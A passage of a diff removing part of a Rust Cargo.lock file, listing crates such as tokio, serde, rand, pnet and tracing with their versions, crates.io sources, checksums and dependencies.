-[[package]]
-name = "libdbus-sys"
-version = "0.2.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "06085512b750d640299b79be4bad3d2fa90a9c00b1fd9e1b46364f66f0485c72"
-dependencies = [
- "pkg-config",
-]
-
-[[package]]
-name = "libredox"
-version = "0.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c0ff37bd590ca25063e35af745c343cb7a0271906fb7b37e4813e8f79f00268d"
-dependencies = [
- "bitflags 2.6.0",
- "libc",
-]
-
-[[package]]
-name = "log"
-version = "0.4.22"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a7a70ba024b9dc04c27ea2f0c0548feb474ec5c54bba33a7f72f873a39d07b24"
-
-[[package]]
-name = "lzw"
-version = "0.10.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7d947cbb889ed21c2a84be6ffbaebf5b4e0f4340638cba0444907e38b56be084"
-
-[[package]]
-name = "malloc_buf"
-version = "0.0.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "62bb907fe88d54d8d9ce32a3cceab4218ed2f6b7d35617cafe9adf84e43919cb"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "memchr"
-version = "2.7.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "78ca9ab1a0babb1e7d5695e3530886289c18cf2f87ec19a575a0abdce112e3a3"
-
-[[package]]
-name = "miniz_oxide"
-version = "0.7.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b8a240ddb74feaf34a79a7add65a741f3167852fba007066dcac1ca548d89c08"
-dependencies = [
- "adler",
- "simd-adler32",
-]
-
-[[package]]
-name = "miniz_oxide"
-version = "0.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e2d80299ef12ff69b16a84bb182e3b9df68b5a91574d3d4fa6e41b65deec4df1"
-dependencies = [
- "adler2",
-]
-
-[[package]]
-name = "mio"
-version = "1.0.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "80e04d1dcff3aae0704555fe5fee3bcfaf3d1fdf8a7e521d5b9d2b42acb52cec"
-dependencies = [
- "hermit-abi",
- "libc",
- "wasi 0.11.0+wasi-snapshot-preview1",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "muldiv"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "956787520e75e9bd233246045d19f42fb73242759cc57fba9611d940ae96d4b0"
-
-[[package]]
-name = "no-std-net"
-version = "0.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "43794a0ace135be66a25d3ae77d41b91615fb68ae937f904090203e81f755b65"
-
-[[package]]
-name = "nu-ansi-term"
-version = "0.46.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "77a8165726e8236064dbb45459242600304b42a5ea24ee2948e18e023bf7ba84"
-dependencies = [
- "overload",
- "winapi",
-]
-
-[[package]]
-name = "num-derive"
-version = "0.2.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "eafd0b45c5537c3ba526f79d3e75120036502bebacbb3f3220914067ce39dbf2"
-dependencies = [
- "proc-macro2 0.4.30",
- "quote 0.6.13",
- "syn 0.15.44",
-]
-
-[[package]]
-name = "num-integer"
-version = "0.1.46"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7969661fd2958a5cb096e56c8e1ad0444ac2bbcd0061bd28660485a44879858f"
-dependencies = [
- "num-traits",
-]
-
-[[package]]
-name = "num-iter"
-version = "0.1.45"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1429034a0490724d0075ebb2bc9e875d6503c3cf69e235a8941aa757d83ef5bf"
-dependencies = [
- "autocfg",
- "num-integer",
- "num-traits",
-]
-
-[[package]]
-name = "num-rational"
-version = "0.2.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5c000134b5dbf44adc5cb772486d335293351644b801551abe8f75c84cfa4aef"
-dependencies = [
- "autocfg",
- "num-integer",
- "num-traits",
-]
-
-[[package]]
-name = "num-rational"
-version = "0.4.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f83d14da390562dca69fc84082e73e548e1ad308d24accdedd2720017cb37824"
-dependencies = [
- "num-integer",
- "num-traits",
-]
-
-[[package]]
-name = "num-traits"
-version = "0.2.19"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "071dfc062690e90b734c0b2273ce72ad0ffa95f0c74596bc250dcfd960262841"
-dependencies = [
- "autocfg",
-]
-
-[[package]]
-name = "num_cpus"
-version = "1.16.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4161fcb6d602d4d2081af7c3a45852d875a03dd337a6bfdd6e06407b61342a43"
-dependencies = [
- "hermit-abi",
- "libc",
-]
-
-[[package]]
-name = "objc"
-version = "0.2.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "915b1b472bc21c53464d6c8461c9d3af805ba1ef837e1cac254428f4a77177b1"
-dependencies = [
- "malloc_buf",
-]
-
-[[package]]
-name = "object"
-version = "0.36.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "084f1a5821ac4c651660a94a7153d27ac9d8a53736203f58b31945ded098070a"
-dependencies = [
- "memchr",
-]
-
-[[package]]
-name = "once_cell"
-version = "1.19.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92"
-
-[[package]]
-name = "option-ext"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "04744f49eae99ab78e0d5c0b603ab218f515ea8cfe5a456d7629ad883a3b6e7d"
-
-[[package]]
-name = "option-operations"
-version = "0.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7c26d27bb1aeab65138e4bf7666045169d1717febcc9ff870166be8348b223d0"
-dependencies = [
- "paste",
-]
-
-[[package]]
-name = "overload"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b15813163c1d831bf4a13c3610c05c0d03b39feb07f7e09fa234dac9b15aaf39"
-
-[[package]]
-name = "paste"
-version = "1.0.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "57c0d7b74b563b49d38dae00a0c37d4d6de9b432382b2892f0574ddcae73fd0a"
-
-[[package]]
-name = "percent-encoding"
-version = "2.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e"
-
-[[package]]
-name = "pest"
-version = "2.7.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fdbef9d1d47087a895abd220ed25eb4ad973a5e26f6a4367b038c25e28dfc2d9"
-dependencies = [
- "memchr",
- "thiserror",
- "ucd-trie",
-]
-
-[[package]]
-name = "pest_derive"
-version = "2.7.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4d3a6e3394ec80feb3b6393c725571754c6188490265c61aaf260810d6b95aa0"
-dependencies = [
- "pest",
- "pest_generator",
-]
-
-[[package]]
-name = "pest_generator"
-version = "2.7.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "94429506bde1ca69d1b5601962c73f4172ab4726571a59ea95931218cb0e930e"
-dependencies = [
- "pest",
- "pest_meta",
- "proc-macro2 1.0.86",
- "quote 1.0.37",
- "syn 2.0.77",
-]
-
-[[package]]
-name = "pest_meta"
-version = "2.7.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ac8a071862e93690b6e34e9a5fb8e33ff3734473ac0245b27232222c4906a33f"
-dependencies = [
- "once_cell",
- "pest",
- "sha2",
-]
-
-[[package]]
-name = "pin-project"
-version = "1.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b6bf43b791c5b9e34c3d182969b4abb522f9343702850a2e57f460d00d09b4b3"
-dependencies = [
- "pin-project-internal",
-]
-
-[[package]]
-name = "pin-project-internal"
-version = "1.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2f38a4412a78282e09a2cf38d195ea5420d15ba0602cb375210efbc877243965"
-dependencies = [
- "proc-macro2 1.0.86",
- "quote 1.0.37",
- "syn 2.0.77",
-]
-
-[[package]]
-name = "pin-project-lite"
-version = "0.2.14"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bda66fc9667c18cb2758a2ac84d1167245054bcf85d5d1aaa6923f45801bdd02"
-
-[[package]]
-name = "pin-utils"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184"
-
-[[package]]
-name = "pkg-config"
-version = "0.3.31"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "953ec861398dccce10c670dfeaf3ec4911ca479e9c02154b3a215178c5f566f2"
-
-[[package]]
-name = "pnet_base"
-version = "0.35.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ffc190d4067df16af3aba49b3b74c469e611cad6314676eaf1157f31aa0fb2f7"
-dependencies = [
- "no-std-net",
-]
-
-[[package]]
-name = "pnet_datalink"
-version = "0.35.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e79e70ec0be163102a332e1d2d5586d362ad76b01cec86f830241f2b6452a7b7"
-dependencies = [
- "ipnetwork",
- "libc",
- "pnet_base",
- "pnet_sys",
- "winapi",
-]
-
-[[package]]
-name = "pnet_sys"
-version = "0.35.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7d4643d3d4db6b08741050c2f3afa9a892c4244c085a72fcda93c9c2c9a00f4b"
-dependencies = [
- "libc",
- "winapi",
-]
-
-[[package]]
-name = "png"
-version = "0.15.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ef859a23054bbfee7811284275ae522f0434a3c8e7f4b74bd4a35ae7e1c4a283"
-dependencies = [
- "bitflags 1.3.2",
- "crc32fast",
- "deflate",
- "inflate",
-]
-
-[[package]]
-name = "png"
-version = "0.17.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "06e4b0d3d1312775e782c86c91a111aa1f910cbb65e1337f9975b5f9a554b5e1"
-dependencies = [
- "bitflags 1.3.2",
- "crc32fast",
- "fdeflate",
- "flate2",
- "miniz_oxide 0.7.4",
-]
-
-[[package]]
-name = "ppv-lite86"
-version = "0.2.20"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "77957b295656769bb8ad2b6a6b09d897d94f05c41b069aede1fcdaa675eaea04"
-dependencies = [
- "zerocopy",
-]
-
-[[package]]
-name = "proc-macro-crate"
-version = "3.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8ecf48c7ca261d60b74ab1a7b20da18bede46776b2e55535cb958eb595c5fa7b"
-dependencies = [
- "toml_edit",
-]
-
-[[package]]
-name = "proc-macro2"
-version = "0.4.30"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "cf3d2011ab5c909338f7887f4fc896d35932e29146c12c8d01da6b22a80ba759"
-dependencies = [
- "unicode-xid",
-]
-
-[[package]]
-name = "proc-macro2"
-version = "1.0.86"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5e719e8df665df0d1c8fbfd238015744736151d4445ec0836b8e628aae103b77"
-dependencies = [
- "unicode-ident",
-]
-
-[[package]]
-name = "qrcode"
-version = "0.14.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d68782463e408eb1e668cf6152704bd856c78c5b6417adaee3203d8f4c1fc9ec"
-dependencies = [
- "image 0.25.2",
-]
-
-[[package]]
-name = "quote"
-version = "0.6.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6ce23b6b870e8f94f81fb0a363d65d86675884b34a09043c81e5562f11c1f8e1"
-dependencies = [
- "proc-macro2 0.4.30",
-]
-
-[[package]]
-name = "quote"
-version = "1.0.37"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b5b9d34b8991d19d98081b46eacdd8eb58c6f2b201139f7c5f643cc155a633af"
-dependencies = [
- "proc-macro2 1.0.86",
-]
-
-[[package]]
-name = "rand"
-version = "0.7.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03"
-dependencies = [
- "getrandom 0.1.16",
- "libc",
- "rand_chacha 0.2.2",
- "rand_core 0.5.1",
- "rand_hc",
-]
-
-[[package]]
-name = "rand"
-version = "0.8.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
-dependencies = [
- "libc",
- "rand_chacha 0.3.1",
- "rand_core 0.6.4",
-]
-
-[[package]]
-name = "rand_chacha"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402"
-dependencies = [
- "ppv-lite86",
- "rand_core 0.5.1",
-]
-
-[[package]]
-name = "rand_chacha"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
-dependencies = [
- "ppv-lite86",
- "rand_core 0.6.4",
-]
-
-[[package]]
-name = "rand_core"
-version = "0.5.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19"
-dependencies = [
- "getrandom 0.1.16",
-]
-
-[[package]]
-name = "rand_core"
-version = "0.6.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
-dependencies = [
- "getrandom 0.2.15",
-]
-
-[[package]]
-name = "rand_hc"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c"
-dependencies = [
- "rand_core 0.5.1",
-]
-
-[[package]]
-name = "rayon"
-version = "1.10.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b418a60154510ca1a002a752ca9714984e21e4241e804d32555251faf8b78ffa"
-dependencies = [
- "either",
- "rayon-core",
-]
-
-[[package]]
-name = "rayon-core"
-version = "1.12.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1465873a3dfdaa8ae7cb14b4383657caab0b3e8a0aa9ae8e04b044854c8dfce2"
-dependencies = [
- "crossbeam-deque",
- "crossbeam-utils",
-]
-
-[[package]]
-name = "redox_users"
-version = "0.4.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ba009ff324d1fc1b900bd1fdb31564febe58a8ccc8a6fdbb93b543d33b13ca43"
-dependencies = [
- "getrandom 0.2.15",
- "libredox",
- "thiserror",
-]
-
-[[package]]
-name = "rustc-demangle"
-version = "0.1.24"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "719b953e2095829ee67db738b3bfa9fa368c94900df327b3f07fe6e794d2fe1f"
-
-[[package]]
-name = "ryu"
-version = "1.0.18"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f3cb5ba0dc43242ce17de99c180e96db90b235b8a9fdc9543c96d2209116bd9f"
-
-[[package]]
-name = "scoped_threadpool"
-version = "0.1.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1d51f5df5af43ab3f1360b429fa5e0152ac5ce8c0bd6485cae490332e96846a8"
-
-[[package]]
-name = "scopeguard"
-version = "1.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49"
-
-[[package]]
-name = "serde"
-version = "1.0.210"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c8e3592472072e6e22e0a54d5904d9febf8508f65fb8552499a1abc7d1078c3a"
-dependencies = [
- "serde_derive",
-]
-
-[[package]]
-name = "serde_derive"
-version = "1.0.210"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "243902eda00fad750862fc144cea25caca5e20d615af0a81bee94ca738f1df1f"
-dependencies = [
- "proc-macro2 1.0.86",
- "quote 1.0.37",
- "syn 2.0.77",
-]
-
-[[package]]
-name = "serde_json"
-version = "1.0.128"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6ff5456707a1de34e7e37f2a6fd3d3f808c318259cbd01ab6377795054b483d8"
-dependencies = [
- "itoa",
- "memchr",
- "ryu",
- "serde",
-]
-
-[[package]]
-name = "serde_spanned"
-version = "0.6.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "eb5b1b31579f3811bf615c144393417496f152e12ac8b7663bf664f4a815306d"
-dependencies = [
- "serde",
-]
-
-[[package]]
-name = "sha1"
-version = "0.10.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e3bf829a2d51ab4a5ddf1352d8470c140cadc8301b2ae1789db023f01cedd6ba"
-dependencies = [
- "cfg-if",
- "cpufeatures",
- "digest",
-]
-
-[[package]]
-name = "sha2"
-version = "0.10.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "793db75ad2bcafc3ffa7c68b215fee268f537982cd901d132f89c6343f3a3dc8"
-dependencies = [
- "cfg-if",
- "cpufeatures",
- "digest",
-]
-
-[[package]]
-name = "sharded-slab"
-version = "0.1.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6"
-dependencies = [
- "lazy_static",
-]
-
-[[package]]
-name = "shlex"
-version = "1.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
-
-[[package]]
-name = "signal-hook"
-version = "0.3.17"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8621587d4798caf8eb44879d42e56b9a93ea5dcd315a6487c357130095b62801"
-dependencies = [
- "libc",
- "signal-hook-registry",
-]
-
-[[package]]
-name = "signal-hook-registry"
-version = "1.4.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a9e9e0b4211b72e7b8b6e85c807d36c212bdb33ea8587f7569562a84df5465b1"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "simd-adler32"
-version = "0.3.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d66dc143e6b11c1eddc06d5c423cfc97062865baf299914ab64caa38182078fe"
-
-[[package]]
-name = "simdutf8"
-version = "0.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e3a9fe34e3e7a50316060351f37187a3f546bce95496156754b601a5fa71b76e"
-
-[[package]]
-name = "slab"
-version = "0.4.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8f92a496fb766b417c996b9c5e57daf2f7ad3b0bebe1ccfca4856390e3d3bb67"
-dependencies = [
- "autocfg",
-]
-
-[[package]]
-name = "smallvec"
-version = "1.13.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "3c5e1a9a646d36c3599cd173a41282daf47c44583ad367b8e6837255952e5c67"
-
-[[package]]
-name = "socket2"
-version = "0.5.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ce305eb0b4296696835b71df73eb912e0f1ffd2556a501fcede6e0c50349191c"
-dependencies = [
- "libc",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "strsim"
-version = "0.11.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f"
-
-[[package]]
-name = "syn"
-version = "0.15.44"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9ca4b3b69a77cbe1ffc9e198781b7acb0c7365a883670e8f1c1bc66fba79a5c5"
-dependencies = [
- "proc-macro2 0.4.30",
- "quote 0.6.13",
- "unicode-xid",
-]
-
-[[package]]
-name = "syn"
-version = "2.0.77"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9f35bcdf61fd8e7be6caf75f429fdca8beb3ed76584befb503b1569faee373ed"
-dependencies = [
- "proc-macro2 1.0.86",
- "quote 1.0.37",
- "unicode-ident",
-]
-
-[[package]]
-name = "system-deps"
-version = "7.0.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "66d23aaf9f331227789a99e8de4c91bf46703add012bdfd45fdecdfb2975a005"
-dependencies = [
- "cfg-expr",
- "heck",
- "pkg-config",
- "toml",
- "version-compare",
-]
-
-[[package]]
-name = "target-lexicon"
-version = "0.12.16"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "61c41af27dd6d1e27b1b16b489db798443478cef1f06a660c96db617ba5de3b1"
-
-[[package]]
-name = "thiserror"
-version = "1.0.64"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d50af8abc119fb8bb6dbabcfa89656f46f84aa0ac7688088608076ad2b459a84"
-dependencies = [
- "thiserror-impl",
-]
-
-[[package]]
-name = "thiserror-impl"
-version = "1.0.64"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "08904e7672f5eb876eaaf87e0ce17857500934f4981c4a0ab2b4aa98baac7fc3"
-dependencies = [
- "proc-macro2 1.0.86",
- "quote 1.0.37",
- "syn 2.0.77",
-]
-
-[[package]]
-name = "thread_local"
-version = "1.1.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8b9ef9bad013ada3808854ceac7b46812a6465ba368859a37e2100283d2d719c"
-dependencies = [
- "cfg-if",
- "once_cell",
-]
-
-[[package]]
-name = "tiff"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d7b7c2cfc4742bd8a32f2e614339dd8ce30dbcf676bb262bd63a2327bc5df57d"
-dependencies = [
- "byteorder",
- "lzw",
- "num-derive",
- "num-traits",
-]
-
-[[package]]
-name = "tinyvec"
-version = "1.8.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "445e881f4f6d382d5f27c034e25eb92edd7c784ceab92a0937db7f2e9471b938"
-dependencies = [
- "tinyvec_macros",
-]
-
-[[package]]
-name = "tinyvec_macros"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20"
-
-[[package]]
-name = "tokio"
-version = "1.40.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e2b070231665d27ad9ec9b8df639893f46727666c6767db40317fbe920a5d998"
-dependencies = [
- "backtrace",
- "bytes",
- "libc",
- "mio",
- "pin-project-lite",
- "socket2",
- "tokio-macros",
- "windows-sys 0.52.0",
-]
-
-[[package]]
-name = "tokio-macros"
-version = "2.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "693d596312e88961bc67d7f1f97af8a70227d9f90c31bba5806eec004978d752"
-dependencies = [
- "proc-macro2 1.0.86",
- "quote 1.0.37",
- "syn 2.0.77",
-]
-
-[[package]]
-name = "tokio-util"
-version = "0.7.12"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "61e7c3654c13bcd040d4a03abee2c75b1d14a37b423cf5a813ceae1cc903ec6a"
-dependencies = [
- "bytes",
- "futures-core",
- "futures-sink",
- "pin-project-lite",
- "tokio",
-]
-
-[[package]]
-name = "toml"
-version = "0.8.19"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a1ed1f98e3fdc28d6d910e6737ae6ab1a93bf1985935a1193e68f93eeb68d24e"
-dependencies = [
- "serde",
- "serde_spanned",
- "toml_datetime",
- "toml_edit",
-]
-
-[[package]]
-name = "toml_datetime"
-version = "0.6.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0dd7358ecb8fc2f8d014bf86f6f638ce72ba252a2c3a2572f2a795f1d23efb41"
-dependencies = [
- "serde",
-]
-
-[[package]]
-name = "toml_edit"
-version = "0.22.22"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4ae48d6208a266e853d946088ed816055e556cc6028c5e8e2b84d9fa5dd7c7f5"
-dependencies = [
- "indexmap",
- "serde",
- "serde_spanned",
- "toml_datetime",
- "winnow",
-]
-
-[[package]]
-name = "tracing"
-version = "0.1.40"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef"
-dependencies = [
- "pin-project-lite",
- "tracing-attributes",
- "tracing-core",
-]
-
-[[package]]
-name = "tracing-attributes"
-version = "0.1.27"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "34704c8d6ebcbc939824180af020566b01a7c01f80641264eba0999f6c2b6be7"
-dependencies = [
- "proc-macro2 1.0.86",
- "quote 1.0.37",
- "syn 2.0.77",
-]
-
-[[package]]
-name = "tracing-core"
-version = "0.1.32"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54"
-dependencies = [
- "once_cell",
- "valuable",
-]
-
-[[package]]
-name = "tracing-serde"
-version = "0.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bc6b213177105856957181934e4920de57730fc69bf42c37ee5bb664d406d9e1"
-dependencies = [
- "serde",
- "tracing-core",
-]
-
-[[package]]
-name = "tracing-subscriber"
-version = "0.3.18"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ad0f048c97dbd9faa9b7df56362b8ebcaa52adb06b498c050d2f4e32f90a7a8b"
-dependencies = [
- "nu-ansi-term",
- "serde",
- "serde_json",
- "sharded-slab",
- "thread_local",
- "tracing-core",
- "tracing-serde",
-]
-
-[[package]]
-name = "try-lock"
-version = "0.2.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b"
-
-[[package]]
-name = "ttf-parser"
-version = "0.24.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5be21190ff5d38e8b4a2d3b6a3ae57f612cc39c96e83cedeaf7abc338a8bac4a"
-
-[[package]]
-name = "typenum"
-version = "1.17.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825"
-
-[[package]]
-name = "ucd-trie"
-version = "0.1.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ed646292ffc8188ef8ea4d1e0e0150fb15a5c2e12ad9b8fc191ae7a8a7f3c4b9"
-
-[[package]]
-name = "unicode-bidi"
-version = "0.3.15"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "08f95100a766bf4f8f28f90d77e0a5461bbdb219042e7679bebe79004fed8d75"
-
-[[package]]
-name = "unicode-ident"
-version = "1.0.13"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e91b56cd4cadaeb79bbf1a5645f6b4f8dc5bde8834ad5894a8db35fda9efa1fe"
-
-[[package]]
-name = "unicode-normalization"
-version = "0.1.24"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5033c97c4262335cded6d6fc3e5c18ab755e1a3dc96376350f3d8e9f009ad956"
-dependencies = [
- "tinyvec",
-]
-
-[[package]]
-name = "unicode-xid"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fc72304796d0818e357ead4e000d19c9c174ab23dc11093ac919054d20a6a7fc"
-
-[[package]]
-name = "url"
-version = "2.5.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "22784dbdf76fdde8af1aeda5622b546b422b6fc585325248a2bf9f5e41e94d6c"
-dependencies = [
- "form_urlencoded",
- "idna",
- "percent-encoding",
-]
-
-[[package]]
-name = "utf-8"
-version = "0.7.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "09cc8ee72d2a9becf2f2febe0205bbed8fc6615b7cb429ad062dc7b7ddd036a9"
-
-[[package]]
-name = "utf8parse"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821"
-
-[[package]]
-name = "valuable"
-version = "0.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "830b7e5d4d90034032940e4ace0d9a9a057e7a45cd94e6c007832e39edb82f6d"
-
-[[package]]
-name = "version-compare"
-version = "0.2.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "852e951cb7832cb45cb1169900d19760cfa39b82bc0ea9c0e5a14ae88411c98b"
-
-[[package]]
-name = "version_check"
-version = "0.9.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a"
-
-[[package]]
-name = "want"
-version = "0.3.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bfa7760aed19e106de2c7c0b581b509f2f25d3dacaf737cb82ac61bc6d760b0e"
-dependencies = [
- "try-lock",
-]
-
-[[package]]
-name = "wasi"
-version = "0.9.0+wasi-snapshot-preview1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
